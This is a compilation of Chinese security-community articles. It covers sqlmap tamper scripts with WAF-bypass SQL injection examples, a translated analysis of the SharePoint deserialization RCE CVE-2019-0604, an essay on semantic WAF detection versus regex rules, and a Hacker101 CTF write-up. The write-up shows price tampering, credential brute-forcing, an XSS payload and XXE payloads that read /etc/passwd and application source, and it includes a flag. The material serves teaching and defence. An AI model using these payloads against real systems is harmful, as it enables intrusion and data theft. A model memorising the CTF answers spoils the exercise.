MySQL
在以下版本做过测试:
MySQL 4.0, 5.0
**3: space2morehash.py**
作用：空格替换为 #号 以及更多随机字符串 换行符（和上一条原理一致）
示例：
1 AND 9227=9227
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
```
版本要求:
* MySQL >= 5.1.13 Tested
针对此做过测试:
* MySQL 5.1.41
#### space2mssqlblank.py
作用：空格替换为其它空符号
示例：
```sql
SELECT id FROM users
SELECT%08id%02FROM%0Fusers
版本要求:
Microsoft SQL Server
在以下版本做过测试:
Microsoft SQL Server 2000
Microsoft SQL Server 2005
**4:space2mysqlblank.py**
作用：空格替换其它空白符号
示例：
SELECT id FROM users
SELECT%0Bid%0BFROM%A0users
版本要求:
MySQL
在以下版本做过测试:
MySQL 5.1
**5:space2mssqlhash.py**
作用：替换空格
示例：
'1 AND 9227=9227'
'1%23%0AAND%23%0A9227=9227'
版本要求:
MSSQL
MySQL
**6:modsecurityversioned.py**
作用：过滤空格，包含完整的查询版本注释
示例：
'1 AND 2>1--'
'1 /*!30874AND 2>1*/--'
版本要求:
MySQL
在以下版本做过测试:
MySQL 5.0
**7:space2comment.py**
作用：`Replaces space character (‘ ‘) with comments ‘/**/’`
示例：
SELECT id FROM users
SELECT//id//FROM/**/users
在以下版本做过测试:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
**8:space2mysqldash.py**
作用：用`–%0A`替换空格
注：之前有个`mssql`的 这个是`mysql`的
示例：
'1 AND 9227=9227'
'1--%0AAND--%0A9227=9227'
版本要求:
MySQL
MSSQL
**9:space2plus.py**
作用：用+替换空格
示例：
'SELECT id FROM users'
'SELECT+id+FROM+users'
在以下版本做过测试:
All
**10:bluecoat.py**
作用：代替空格字符后与一个有效的随机空白字符的`SQL`语句。 然后替换`=为like`
示例：
'SELECT id FROM users where id = 1'
'SELECT%09id FROM users where id LIKE 1'
在以下版本做过测试:
MySQL 5.1, SGOS
**11:space2randomblank.py**
作用：代替空格字符（“”）从一个随机的空白字符可选字符的有效集
示例：
'SELECT id FROM users'
'SELECT%0Did%0DFROM%0Ausers'
在以下版本做过测试:
All
**12:sp_password.py**
作用：追加`sp_password’`从DBMS日志的自动模糊处理的有效载荷的末尾
示例：
'1 AND 9227=9227-- '
'1 AND 9227=9227-- sp_password'
版本要求: `* MSSQL`
#### 针对过滤引号的：
**1:apostrophemask.py**
作用：用`utf8`代替单引号
示例：
"1 AND '1'='1"
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
在以下版本做过测试:
all
**2:apostrophenullencode.py**
作用：绕过过滤双引号，替换字符和双引号。
示例：
"1 AND '1'='1"
'1 AND %00%271%00%27=%00%271'
在以下版本做过测试:
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
#### 针对过滤关键字的：
**1:halfversionedmorekeywords.py**
作用：当数据库为`mysql`时绕过防火墙，每个关键字之前添加`mysql`版本评论
示例：
("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
版本要求:
MySQL < 5.1
在以下版本做过测试:
MySQL 4.0.18, 5.0.22
**2:ifnull2ifisnull.py**
作用：绕过对`IFNULL`过滤。 替换类似`’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’`
示例：
'IFNULL(1, 2)'
'IF(ISNULL(1),2,1)'
版本要求:
MySQL
SQLite (possibly)
SAP MaxDB (possibly)
在以下版本做过测试:
MySQL 5.0 and 5.5
**3:multiplespaces.py**
作用：围绕SQL关键字添加多个空格
示例：
'1 UNION SELECT foobar'
'1 UNION SELECT foobar'
在以下版本做过测试:
All
**4:halfversionedmorekeywords.py**
作用：关键字前加注释
示例：
value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa
版本要求:
MySQL < 5.1
在以下版本做过测试:
MySQL 4.0.18, 5.0.22
**5:unionalltounion.py**
作用：替换UNION ALL SELECT UNION SELECT
示例：
'-1 UNION ALL SELECT'
'-1 UNION SELECT'
版本要求: all
**6:randomcomments.py**
作用：用/**/分割sql关键字
‘INSERT’
‘IN//S//ERT’
**7:unmagicquotes.py**
作用：宽字符绕过 GPC addslashes
示例：
1’ AND 1=1
1%bf%27 AND 1=1–%20
8:randomcase.py
作用：随机大小写
示例：
INSERT
InsERt
在以下版本做过测试:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
#### 针对过滤比较符号的：
**1:equaltolike.py**
作用：like 代替等号
示例：
SELECT * FROM users WHERE id=1
SELECT * FROM users WHERE id LIKE 1
**2:greatest.py**
作用：绕过过滤’>’ ,用GREATEST替换大于号。
示例：
'1 AND A > B'
'1 AND GREATEST(A,B+1)=A'
在以下版本做过测试:
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
**3:between.py**
作用：用between替换大于号（>）
示例：
'1 AND A > B--'
'1 AND A NOT BETWEEN 0 AND B--'
在以下版本做过测试:
Microsoft SQL Server 2005 MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
#### 其他类型：
**1:versionedmorekeywords.py**
作用：注释绕过
示例：
1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
版本要求:
MySQL >= 5.1.13
**2:securesphere.py**
作用：追加特制的字符串
示例：
'1 AND 1=1'
"1 AND 1=1 and '0having'='0having'"
在以下版本做过测试:
All
**3:charunicodeencode.py**
作用：字符串 unicode 编码
示例：
SELECT FIELD%20FROM TABLE
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
版本要求:
ASP
ASP.NET
在以下版本做过测试:
Microsoft SQL Server 2000
Microsoft SQL Server 2005
MySQL 5.1.56
PostgreSQL 9.0.3
**4:charencode.py**
作用：url编码
示例：
SELECT FIELD FROM%20TABLE
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
在以下版本做过测试:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
**5:appendnullbyte.py**
作用：在有效负荷结束位置加载零字节字符编码
‘1 AND 1=1’
‘1 AND 1=1%00’
版本要求:
Microsoft Access
**6:chardoubleencode.py**
作用: 双url编码(不处理以编码的)
示例：
SELECT FIELD FROM%20TABLE
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
**7:base64encode.py**
作用：用`base64`编码替换
示例：
"1' AND SLEEP(5)#"
'MScgQU5EIFNMRUVQKDUpIw=='
版本要求:
all
**8:nonrecursivereplacement.py**
作用：双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、””)）
filters
示例：
'1 UNION SELECT 2--'
'1 UNIOUNIONN SELESELECTCT 2--'
在以下版本做过测试:
all
后续内容将会继续更新。。。。。。。。。
参考资料：
安全牛课堂-kali-linux-web篇
sqlmap用户手册中文版：<https://octobug.gitbooks.io/sqlmap-wiki-zhcn/content/Users-manual/Introduction.html>
sqlmap用户手册：<http://drops.xmd5.com/static/drops/tips-143.html> | 社区文章 |
# CVE-2019-0604：一个 SharePoint 的 RCE 漏洞
##### 译文声明
本文是翻译文章，文章原作者 thezdi，文章来源：thezdi.com
原文地址：<https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability>
译文仅供参考，具体内容表达以及含义原文为准。
上个月，微软针对两个 SharePoint 的远程代码执行 (RCE) 漏洞发布了修复补丁。在 SharePoint 应用池的上下文和 SharePoint
的服务器账户中，攻击者可以发送一个特殊构造的请求来执行攻击者的代码，这两个漏洞都由 Markus Wulftange 上报给了 ZDI
组织，并且获得了漏洞编号为 CVE-2019-0604。
在找寻新漏洞的时候，一个常用的策略是自下而上。可以先通过找一段可能有漏洞的代码，并且追踪它所有与它相关的数据流。
其中，使用 XmlSerilizer
来进行反序列化就是一段很有可能包含漏洞的代码。通常来说，它是一个相对安全的序列化器，因为它要求数据流必须使用期望的类型，并且调用者无法在流中指定不能出现在预期类型的对象图中的任意类型。但是，如果预期的类型也能被控制，那么它是[可利用的](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)。
为了分析 SharePoint 2016，dnSpy可以用来实现对 .NET 应用程序的反编译和调试。因此，在将 dnSpy 附加到 IIS 的
worker 进程 (w3wp.exe) 后，这个进行运行了 SharePoint 2016，就能分析 XmlSerializer(Type)
的构造函数的用法了。现在，我们需要分析每一个调用 XmlSerializer(Type) 构造函数的地方，并且检查期望的类型是否是可变的（可变的是指的不像在
new XmlSerializer(typeof(DummyType)) 中那样硬编码）以及能否控制这个类型。
首先看到的一个调用 XmlSerializer(Type) 的地方是 Microsoft.SharePoint.dll 中的
_Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(string)_
。相同的类型也同样出现在 Microsoft.SharePoint.Portal.dll 的
_Microsoft.Office.Server.ApplicationRegistry.Infrastructure_ 中。下面，我先先看看
Microsoft.SharePoint.dll 中的代码。
在这里，typeName 和 text 都是由该方法的参数 encodeId 生成，typeName 用来指定期望的类型，而 text 用来进行反序列化。
这看起来不错，只要传递的参数能被我们控制，我们就能控制其反序列化的过程。
## 跟踪数据流
下一步是要找一下是否有一个地方可以从外面进行初始化，并且还可以指定其参数。
如果你对 ASP.NET 熟悉，这里面有一些方法你应该会看着很眼熟，比如 _Page_Load(object, EventArgs)_ 和
_OnLoad(EventArgs)_ 。它们在整个的 ASP.NET 的生命周期中一直被调用，它们的类型是在 System.Web.UI.Page
中定义的。 System.Web.UI.Page 是 aspx 文件类型的基类，并且，一共有三个类型与aspx文件有关：
· Microsoft.SharePoint.ApplicationPages.ActionRedirectPage:
/_layouts/15/ActionRedirect.aspx
· Microsoft.SharePoint.ApplicationPages.DownloadExternalData:
/_layouts/15/downloadexternaldata.aspx
· Microsoft.SharePoint.Portal.WebControls.ProfileRedirect:
/_layouts/15/TenantProfileAdmin/profileredirect.aspx
尽管在这三种情况下，参数值都来自于 HTTP 请求，但它来自 URL
的请求字符串。可能会有一个问题，因为十六进制编码会将长度乘以4，因此会变得非常长，并超过HTTP请求的限制。
通过进一步的分析之后，列表中的最后一个方法，可能会是一个比较好的选择。
在这里，PickerEntity 方法中传入 PickerEntity 参数的属性 Key 被用来作为
_EntityInstanceIdEncoder.DecodeEntityInstanceId(string)_ 的参数。它被
EntityEditor.Validate() 函数调用，它会迭代验证每一个存储在 EntityEditor.Entities 属性中的条目。
EntityEditor.Validate() 函数又被 EntityEditor.LoadPostData(string,
NameValueCollection) 调用， 它实现了
System.Web.UI.IPostBackDataHandler.LoadPostData(string, NameValueCollection)
方法。
因此，当向 ItemPicker 控件发出 post back 请求时，该方法将自动被调用。调用图如下:
类型的层级结构为：
## 验证数据流
现在，我们已经有一个方法从 ItemPicker 调用到
EntityInstanceIdEncoder.DecodeEntityInstanceId(string) 了，但是目前还不清楚 PickerEntity
的 Key 属性是否也能被控制。
EntityEditor.Entities 属性是由 m_listOrder 生成，该字段只会在两个位置进行分配：实例化的过程中与
EntityEditor.Validate() 函数中。
在 EntityEditor.Validate() 函数中，它获取私有变量 m_listOrderTemp 的值(图4 中的 597 行)。而
m_listOrderTemp 的值也只会在两个地方进行分配：实例化的过程与 EntityEditor.ParseSpanData(string)
函数中。EntityEditor.ParseSpanData(string) 函数被 EntityEditor.LoadPostData(string,
NameValueCollection) 调用，其参数是 hiddenSpanData 属性的值(图 5 中的 707 行)。
接下来，我们需要看 EntityEditor.ParseSpanData(string) 对传入的数据做了什么操作，以及确认一下它的尾部是否是
PickerEntity 的 Key。我们将跳过它，因为EntityEditor.ParseSpanData(string) 的代码非常长。我们发现除非是
<SPAN> 和 <DIV> 标签，其他的尾部都会是 PickerEntity 的 Key，并将其加入到 m_listOrderTemp 列表。
因此，现在我们已经找到了一个数据流，它允许我们从 ItemPicker 的 post back 请求一直传递到
EntityInstanceIdEncoder.DecodeEntityInstanceId(string)
函数，同时它的输入也是可控的。剩下的就是找到那个web控件的实例。
## 找到攻击入口
ItemPicker Web 控件实际上从来没有在一个 .aspx
页面中使用过。但是看看它基类型的用法，EntityEditorWithPicker，说明在 /_layouts/15/Picker.aspx 应该有一个
Picker.aspx 文件使用了它。
该页面要求使用选择器对话框的类型通过 URL 的 PickerDialogType 参数的形式提供。在这里，可以使用以下两种
ItemPickerDialog 类型中的任何一种：
· Microsoft.SharePoint.WebControls.ItemPickerDialog in Microsoft.SharePoint.dll
· Microsoft.SharePoint.Portal.WebControls.ItemPickerDialog in Microsoft.SharePoint.Portal.dll
利用第一种 ItemPickerDialog 类型会显示下面的页面：
这里，底部的文本字段与 ItemPicker 关联。还有 HtmlInputHidden
的对应项，它的名称是ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData。
## PoC
当表单提交 ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData 的值以 “__”
为开头时(类似于“_dummy”)，
EntityInstanceIdEncoder.DecodeEntityInstanceId(string) 处的断点将显示以下情况：
在这里，函数的调用栈为：
而调用另外一种 ItemPickerDialog 类型时，函数调用栈只是在最上面的两个有所不同。
这表明 ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData 的数据最终出现在了
EntityInstanceIdEncoder.DecodeEntityInstanceId(string) 中。 剩下的只需要拷贝实例 ID 和构造一个
XmlSerializer 的 payload 就可以了。 | 社区文章 |
在宗派林立的检测技术武林中，语义化检测引擎近两年已成热门绝学。它的力量在于，让攻击检测更精确、更聪明、更人性化。目前，硬件WAF中，国内已经有数家厂商部署了该技术；云WAF中，阿里云云盾也在上周发布了语义智能检测引擎的选项。
“智能语义检测”这门武艺的江湖故事，要从它的前辈“基于规则的检测引擎”开始说起。
10几年里，基于规则的引擎一统江湖。直到现在，江湖上大多数的WAF是基于规则的WAF。其原理是每一个会话都要经过一系列的安全检测，每一项检测都由一个或多个检测规则组成，匹配了检测规则，请求就会被认为非法而拒绝。
听起来很简单？其实对于运维者和企业客户来说，规则检测的软肋就在于他的“道法复杂，不变通”。
基于规则的WAF能有效的防范已知安全问题。但安全运维者首先必须知道攻击的全部特点，根据这些特点制定规则。所以基于规则的WAF需要一个强大的规则库支撑，并且规则库需要及时更新来应对最新的攻击。
对于安全运维人员来说，规则的条目就会变得繁多而复杂，导致规则库维护起来相当困难。并且，运维人员经常发现，过了一段时间后，都不知道某些规则的含义以及当初为什么这么写的了。例如下边这条规则：
在很多攻防对抗的场景下，会发现正则的缺陷和短板。以一个简单的SQL注入攻击请求为例：
www.vuln.com/?id=1’ union select version() from dual
这个SQL注入攻击请求是读取数据库版本信息的攻击请求，能够描述这个攻击的正则表达式，可以写为：
union\s+select\s+version\(\)\s+from\s+dual
\s+的作用是匹配一个或多个不可见字符，如空格、换行等符号。显然的，熟悉SQL语句的攻击者，可以利用一些数据库特性绕过这个正则的检查，例如：用注释符/
_11_ /替换空格、利用注释符号--%0替换空格，根据这个特性，完善后的正则表达式可以写为：
union(\s+|/\*[\s\S]*\*/|--[\s\S]*?\x0a)select(\s+|/\*[\s\S]*\*/|--[\s\S]*?\x0a)version\(\)(\s+|/\*[\s\S]*\*/|--[\s\S]*?\x0a)from(\s+|/\*[\s\S]*\*/|--[\s\S]*?\x0a)dual
可以明显看到，更新之后的正则表达式的复杂度已经明显提高了，逻辑看起来也不是非常直观明了，更重要的是，这样的防护规则，仍然可以被绕过！
经过简单的fuzz挖掘，可以发现mysql新的“特性”，在Mysql函数调用中，正常结构为function_name()
这样的格式，同时还支持其他的语法特性，`function_name/*111111*/()`、`function_name
()`、`function_name()`、`function_name--%0a()`、`function_name/**/
()`、`function_name/*111*/--11%0()`这样都是等价的写法！
于是上述正则规则又有了升级版：
union(\s+|/\*[\s\S]*\*/|--[\s\S]*?\x0a)select(\s+|/\*[\s\S]*\*/|--[\s\S]*?\x0a)version(\s+|/\*[\s\S]*\*/|--[\s\S]*?\x0a|`)\(\)(\s+|/\*[\s\S]*\*/|--[\s\S]*?\x0a)from(\s+|/\*[\s\S]*\*/|--[\s\S]*?\x0a)dual
从这个简单的例子可以看出，使用正则表达式去描述SQL注入这样的攻击，存在明显的短板：维护成本高、逻辑性低、条理性低。往往一个新”特性”的发现，意味着运营人员需要批量更新上百条的规则，这是一个相当艰难的过程，因此使用正则作为检测方式的引擎，或多或少存在被绕过的风险。
总而言之，基于规则的检测不能有效防御未知的威胁，比如攻击变体，0day攻击。除此之外，对于企业安全运维人员来说，正则引擎的维护压力大，成本高，各派武林人士都在YY：“有没有一种检测引擎和算法，不需要人去维护规则，也可以应对千变万化的攻击！？”
智能引擎检测这个武林绝学，就在这样的江湖背景下，千呼万唤始出来
## 攻击行为语义化 —— 离门之剑，以不变应万变
语义检测引擎的内功在于，会把自然语言中的语义、顺序和场景，纳入考虑范围；知道一个特征，在这个场景、顺序下可能是攻击，在另一个中则不是。延续刚才“大道至简”的例子：
### 规则引擎：
只用“至”、“简”“！”来判定一个请求是否是攻击。漏报误报率高
### 智能语义检测引擎：
1、“大道至简！”是攻击
2、“至繁归于至简！”因为场景和顺序不对，不是攻击
3、通过机器学习，能分辨出“大道无为”是“大道至简”的变体
这样一来，大家就可以一目了然看出二者的根本区别了。智能化语义检测引擎，就像手握一把离门剑，“每一招中皆能在刹那间作二十五种变化，独步剑林。”（参考萧逸《十二神拳》）。对于防范未知威胁，0day攻击尤其有效。
那么，智能语义化检测的武功究竟如何使出来？我们再往下探究。
### 第一招，归一
把同类攻击行为的同类行为特征归并起来。即，同一类的攻击行为和攻击特征聚合为一个攻击特征，这就是归一化的过程。攻击的多个行为特征组成特定的排列组合，来表示同一类攻击，这样我们就可以用自然语言的语义来理解并且描述同一类攻击。攻击特征的排列组合就是攻击的语义化。
这样就能抛却各种复杂的攻击和它们的变形，把攻击行为语义化了。
以下是一个sql注入攻击实现语义化的例子，先对sql语句进行归一化的语义分析，然后在异常攻击集中查找分析结果，若找到说明是sql注入攻击。
比如以下这条规则：
(select|from|\band|\bor|\bxor|=|,|;)[\s\+\(`)*?(sleep[\s\+`]*?\(|version[\s\+`]*?\(|pg_sleep[\s\+`]*?\(|extractvalue[\s\+`]*?\(|updatexml[\s\+`]*?\(|dbms_pipe.receive_message\(|st_latfromgeohash\(|st_longfromgeohash[\s\+`]*?\(|analyse[\s\+`]*?\(|gtid_subset[\s\+`]*?\(|gtid_subtract\(|st_pointfromgeohash\(|convert[\s\+`]*?\(|md5[\s\+`]*?\(|count[\s\+`]*?\(|char[\s\+`]*?\(|benchmark[\s\+`]*?\(|hex[\s\+`]*?\(|@@version|db_name[\s\+`]*?\(|user[\s\+`]*?\(|cast[\s\+`]*?\(|concat[\s\+`]*?\(|unhex[\s\+`]*?\(|floor[\s\+`]*?\(|length[\s\+`]*?\(|ascii[\s\+`]*?\(|substring[\s\+`]*?\(|substr[\s\+`]*?\(|substring_index[\s\+`]*?\(|instr[\s\+`]*?\(|left[\s\+`]*?\(|right[\s\+`]\()
通过归一化后可以描述为：select from 敏感关键字
函数运算()，可以用“abcde”五个字符表示，即这类攻击用语义可描述为：具有敏感关键字和函数运算的sql类型表达式。复杂的规则维护，瞬间变得简单了。
### 第二招，攻异
仅仅防范已知的WEB安全问题，是被动且滞后的，基于异常的防护会更加有效。
异常防护这一招的基本观念是：根据合法应用数据检测建立统计模型，以此模型为依据判别实际通信数据是否是攻击。
理论上，此招一出，系统就能够探测出任何的异常情况。这样，就不再需要规则库，0day攻击的检测也不再是问题了。
例如，阿里云云盾的WAF智能语义异常攻击集，是基于云盾自己的运营数据，对正常的Web应用建模，从正常的模型里边区分出异常的情况，再从繁多的Web攻击中提炼出来的异常攻击模型，形成异常攻击集。
### 制胜之招：无影
未来，智能语义化检测引擎这门绝学，将进化成实时大数据分析引擎。招式进化的关键，就在于算法的优化，计算的能力和成本，还有数据聚类和清洗的技术，等等
江湖风云变幻，大数据的时代已经成为主流。WAF防御的技术如果想要继统治武林，向智能化、语义化的方向发展则是必然。未来，可以预见大部分的WAF检测和防御都会通过机器学习自动来完成，再加上很少的人工确认工作，就可以确定异常攻击集
—— 从容应对现实中的安全威胁以及未来的安全威胁，从根本上解决Web服务系统所面临的各种安全挑战。
大道至简，大有可为。 | 社区文章 |
# 玩转Hacker101 CTF（四）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
hi，大家好，我我我又又又来啦！接着[第一篇](https://www.anquanke.com/post/id/180186)、[第二篇](https://www.anquanke.com/post/id/180395)还有[第三篇](https://www.anquanke.com/post/id/180525)的进度，这次为大家带来Hacker101
CTF的第十、十一题：
废话不多说，上题！
## 第十题Petshop Pro
这道题比较简单，说简单一下，打开主页：
看来是个宠物店，可爱的猫猫和狗狗,可以加入购物车带回家！:）
由于最近比较流行撸羊毛，所以看到这样的购物商店就想撸 _^_^_ ，点个小猫加入购物车，自动跳转到付款页面：
在burpsuite中打开抓包开关，点击网页上的“check Out”，把付款包抓下来：
其中post的数据为：
`cart=%5B%5B0%2C+%7B%22logo%22%3A+%22kitten.jpg%22%2C+%22price%22%3A+8.95%2C+%22name%22%3A+%22Kitten%22%2C+%22desc%22%3A+%228%5C%22x10%5C%22+color+glossy+photograph+of+a+kitten.%22%7D%5D%5D`
url解码后为:
`cart=[[0, {"logo": "kitten.jpg", "price": 8.95, "name": "Kitten", "desc":
"8"x10" color glossy photograph of a kitten."}]]`
可以看到价格等信息都在里面，来当回羊毛党吧，我们将price改为0发送，
ok，付款值已经变为了0，羊毛撸成功！拿到了第一个flag。
继续，看看有没有敏感路径,爆破一下路径，工具任选，发现有login页面：
试了一下万能密码、POST注入，均无效，但是发现输入错误的用户名会告知用户名错误，而且没有验证码和次数限制，
所以可以先爆破用户名，再爆破密码，先爆破用户名：
注意字典去这里找https://github.com/danielmiessler/SecLists，爆破用户名用里面的:SecLists-masterUsernamesNamesnames.txt,爆破密码用SecLists-masterPasswordsdarkweb2017-top10000.txt,别问我怎么知道的，
注意这里有个坑，正常的用户名和错误的用户名返回的包长度是一样的，因为”Invalid username”和”Invalie
password”长度是一样的，所以看返回包的长度是看不出什么的，除非一个个包去翻ಥ_ಥ ，所以爆破用户名时要加一个结果匹配选项：
爆破结果：
然后爆破密码：
然后用correy:tuttle登陆：
拿到第二个flag，继续，看到页面上有edit链接，点开：
发现有可以编辑的地方，看能否xss，在name、description处都输入<img src=x
onerror=alert(1)>，save保存，回到主页：
虽然payload奏效了，但是没有flag，去其他页面看看，点击checkout，跳转到付款页面：
拿到了第三个flag。
## 第十一题Model E1337 – Rolling Code Lock
这道题比较难，详细说一下，打开主页：
让我们输入code解锁，随便输个1，点Unlock解锁，
反馈一个期望值09454537,意思是我们刚才如果输入这个值得话就解锁了，那么再回到主页输入09454537,点击Unlock,
期望值变了，所以还是没成功，想了一会，没有头绪，试试其他思路吧，先爆破一下路径，工具任选，一下就找到了admin页面，来看一下：
这个admin页面比较奇怪，既没有登陆框也没有任何可供输入的地方，只有一条奇怪的信息：`Lock location:Front
door`，抓包也没有看到任何有用的东西，右击看了一下网页源码：
有一条比较露骨的注释：
`<!-- We should be using get-config for this on the client side. -->`
所以应该有get-config:
这部就是刚刚admin页面中的信息么，再看一下这个页面的网页源代码：
是个XML格式的内容，那么get-config很可能读取了一个XML文件，我们现在将这些线索串起来，推测一下后台的逻辑：当我们访问admin页面时，admin调用了get-config,get-config读取了一个XML文件，获取了其中相关的字段，生成了admin页面。所以这道题很可能考察了XXE注入，我们需要通过XXE注入修改get-config读取的文件，比如说网站源码，但是XXE注入需要注入点啊，在哪里呢？
抓了一下admin页面和get-config的包，用OPTIONS请求探测了一下两个页面，发现两个页面都只支持HEADOPTIONSGET三种请求方法：
难道要爆破参数用GET方法发送XXE的payload，或者还有其他页面？我在反反复复测试XXE以及爆破页面的过程中度过了两个日夜，对着get-config页面发呆，最后几乎都要放弃了，忽然灵机一动，既然有get-config，为什么不会有set-config，访问了一下：
居然不是404！，说明这个页面是存在的，只是我们访问它的方式有一些问题，抓包，改请求方法为OPTIONS：
依然不支持POST，没关系，爆破一下参数，字典用上文提到的字典包，用里面的:SecLists-masterDiscoveryWeb-Contentburp-parameter-names.txt,payload参照get-config返回的内容，修改为:
`<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY
><!ENTITY xxe SYSTEM "/etc/passwd"
>]><config><location>&xxe;</location></config>`
url编码后添加到参数后面，开始爆破：
很快就爆了出来：
这个包发生了302跳转，猜想这里payload已经奏效，所以回到admin页面，查看网页源码:
完美！接下来就是读取网站后台源码了，由于这里是uwsgi+flask+nginx+docker环境(看的hint)，所以先用payload：
`<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY
><!ENTITY xxe SYSTEM "uwsgi.ini"
>]><config><location>&xxe;</location></config>`
读取uwsig.ini,里面内容很简单：
module = main
callable = app
说明主模块为main.py,所以下一步用payload：
`<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY
><!ENTITY xxe SYSTEM "main.py" >]><config><location>&xxe;</location></config>`
读取main.py,这是网站的主页逻辑：
from flask import Flask, abort, redirect, request, Response, session
from jinja2 import Template
import base64, json, os, random, re, subprocess, time, xml.sax
from cStringIO import StringIO
from rng import *
# ^FLAG^7682cc1c5a112610b3cc9b7b87e0661223834323a2da73c0ee966eed510b6b49$FLAG$
flags = json.loads(os.getenv('FLAGS'))
os.unsetenv('FLAGS')
app = Flask(__name__)
templateCache = {}
def render(tpl, **kwargs):
if tpl not in templateCache:
templateCache[tpl] = Template(file('templates/%s.html' % tpl).read())
return templateCache[tpl].render(**kwargs)
@app.after_request
def add_header(r):
r.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
r.headers["Pragma"] = "no-cache"
r.headers["Expires"] = "0"
r.headers['Cache-Control'] = 'public, max-age=0'
return r
@app.route('/')
def index():
return render('home')
@app.route('/unlock', methods=['POST'])
def unlock():
code = int(request.form['code'])
cur = next(26)
time.sleep(5)
if code == cur:
return 'Unlocked successfully. Flag: ' + flags[1]
else:
return 'Code incorrect. Expected %08i' % cur
@app.route('/admin')
def admin():
return render('admin', location=location)
location = 'Front door'
@app.route('/get-config')
def getConfig():
return '<?xml version="1.0" encoding="UTF-8"?><config><location>%s</location></config>' % location
class Handler(xml.sax.ContentHandler):
def __init__(self):
self.location = None
def startElement(self, name, attrs):
if name == 'location':
self.location = ''
def endElement(self, name):
if name == 'location':
global location
location = self.location
self.location = None
def characters(self, content):
if self.location is not None:
self.location += content
@app.route('/set-config')
def setConfig():
data = request.args['data']
parser = xml.sax.make_parser()
parser.setContentHandler(Handler())
parser.parse(StringIO(data))
return redirect('admin')
app.run(host='0.0.0.0', port=80)
看！里面有flag，继续，阅读上面的源码，注意其中的unlock函数，实现首页的猜数字功能，我们要猜的期望值是由next(26)产生的，而next函数不在该页面中，看了一下第六行`from
rng import *`,所以这里应该还有个rng.py,next函数应该就在其中，于是用payload:
`<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY
><!ENTITY xxe SYSTEM "rng.py" >]><config><location>&xxe;</location></config>`
读取rng.py,源码如下：
def setup(seed):
global state
state = 0
for i in xrange(16):
cur = seed & 3
seed >>= 2
state = (state << 4) | ((state & 3) ^ cur)
state |= cur << 2
def next(bits):
global state
ret = 0
for i in xrange(bits):
ret <<= 1
ret |= state & 1
state = (state << 1) ^ (state >> 61)
state &= 0xFFFFFFFFFFFFFFFF
state ^= 0xFFFFFFFFFFFFFFFF
for j in xrange(0, 64, 4):
cur = (state >> j) & 0xF
cur = (cur >> 3) | ((cur >> 2) & 2) | ((cur << 3) & 8) | ((cur << 2) & 4)
state ^= cur << j
return ret
setup((random.randrange(0x10000) << 16) | random.randrange(0x10000))
好吧，貌似有点复杂，读了几遍，大意明白了：先用一个2的32次方以内的seed值放入setup函数，生成state的初始值，然后主页接受到浏览器发送过来的code时就进入next函数，生成一个2**26以内的期望值，然后主页逻辑会将code与这个期望值比较，相等就能拿到第二个flag，关键这里state的状态变化太复杂了，实在看不出有啥破绽
